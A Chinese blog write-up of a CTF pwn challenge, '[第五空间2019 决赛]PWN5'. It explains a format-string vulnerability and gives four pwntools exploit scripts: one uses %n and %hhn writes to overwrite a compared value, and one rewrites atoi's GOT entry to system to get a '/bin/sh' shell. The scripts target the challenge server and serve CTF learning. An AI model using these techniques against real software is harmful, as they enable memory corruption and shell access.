当前位置: 首页 > news >正文

字符串格式漏洞-[第五空间2019 决赛]PWN5

之前其实也写了一篇,现在再来看。又有新的收获了,于是记录一下

前置知识

格式化字符串漏洞详解-CSDN博客

讲得很清楚,我就不照猫画虎了

实践

main函数

首先先办法泄露我们输入的地址

from pwn import *
elfpath='level0'
# io=process(elfpath)
io=remote("node5.buuoj.cn",29917)
elf=ELF(elfpath)
context(arch=elf.arch,os=elf.os,log_level = "debug")
# shell_addr=0x400596
payload1=b'a'*(0x20+8)+b'\n %x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x-%x'
payload=payload1
io.sendline(payload)
io.interactive()

偏移量10

后面就是exp的编写,难点是去理解exp

exp1:

from pwn import *
sh=remote('node5.buuoj.cn',29917)
payload = p32(0x804c044)+b'%10$n'
sh.sendline(payload)
sh.recv()
sh.sendline(b'4')
sh.interactive()

我们首先把偏移10,改为

我们需要比较的地址

p32(0x804c044)传入地址

+b'%10$n',10$选取偏移第十的地址,传入我们已经传入的字节数(4)

那么现在比对的就是4

我们传入4就可以成功比对成功

exp2

[第五空间2019 决赛]PWN5-CSDN博客

看我之前博客的,看来当时也没怎么学懂,哈哈

from pwn import *
sh=remote('node5.buuoj.cn',27574)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%11$hhn%10$hhn%13$hhn%12$hhn'
sh.sendline(payload)
sh.sendline(str(0x10101010))
sh.interactive()

首先,我们把10-14个,放好地址。因为我们刚刚IDA可以看见,比对是个dword

然后我们直接挨着地址,用hhn,指定传入一个字节,

那么内存中就是我们之前16 16 16 16 也就是0x10101010

exp3

BUUCTF - [第五空间2019 决赛]PWN5 - 简书

借鉴博客如上

from pwn import *p = process('./pwn5')
elf = ELF('./pwn5')atoi_got = elf.got['atoi']
system_plt = elf.plt['system']payload=fmtstr_payload(10,{atoi_got:system_plt})p.sendline(payload)
p.sendline('/bin/sh\x00')p.interactive()

很清楚的,去拿库函数的got和plt(不懂可以粗俗理解为函数地址,后面再学)

exp4

from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26486)unk_804C044 = 0x0804C044
payload=fmtstr_payload(10,{unk_804C044:0x1111})
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd",str(0x1111))
p.interactive()

这个更简单明了~

下班

相关文章:

  • 从请求到响应:初探spring web
  • react学习笔记4——React UI组件库与redux
  • 龙虎榜——20250430
  • 5G技术如何提升智能家居体验:让家更聪明,生活更智能
  • 航空客户价值分析阶段性测验
  • 跨域 iframe 内剪切板 Clipboard_API 报错
  • Google NotebookLM正式支持中文!AI笔记助手开启中文创作新纪元
  • Spark-小练试刀
  • cdn服务器连接异常怎么办?cdn连接失败解决方法有哪些?
  • Python10天突击--编译过程通常涉及几个关键步骤
  • REST API、FastAPI与Flask API的对比分析
  • 日志之ClickHouse部署及替换ELK中的Elasticsearch
  • PV操作:宣帧闯江湖武林客栈版学习笔记【操作系统】
  • 网络安全零基础培训 L1-9 PHP连接MySQL数据库
  • 【C++】extern
  • Android Kotlin 项目完整集成 Bugly 异常监控指南
  • RISC-V GPU架构研究进展:在深度学习推理场景的可行性验证
  • 数字智慧方案6172丨智慧医院扩建信息化整体规划方案(60页PPT)(文末有下载方式)
  • Mysql常用函数解析
  • 五下单元习作:《智慧的力量》——读《草船借箭》有感
  • 乘客被困停滞车厢超4小时,哈尔滨铁路局客服:列车晚点,表示歉意
  • AI世界的年轻人|他用影像大模型解决看病难题,“要做的研究还有很多”
  • 5月人文社科中文原创好书榜|巫蛊:中国文化的历史暗流
  • 科学家为AI模型设置“防火墙”,以防止被不法分子滥用
  • 朝鲜新型驱逐舰“崔贤”号进行多项武器试验
  • 宋徽宗《芙蓉锦鸡图》亮相,故宫首展历代动物绘画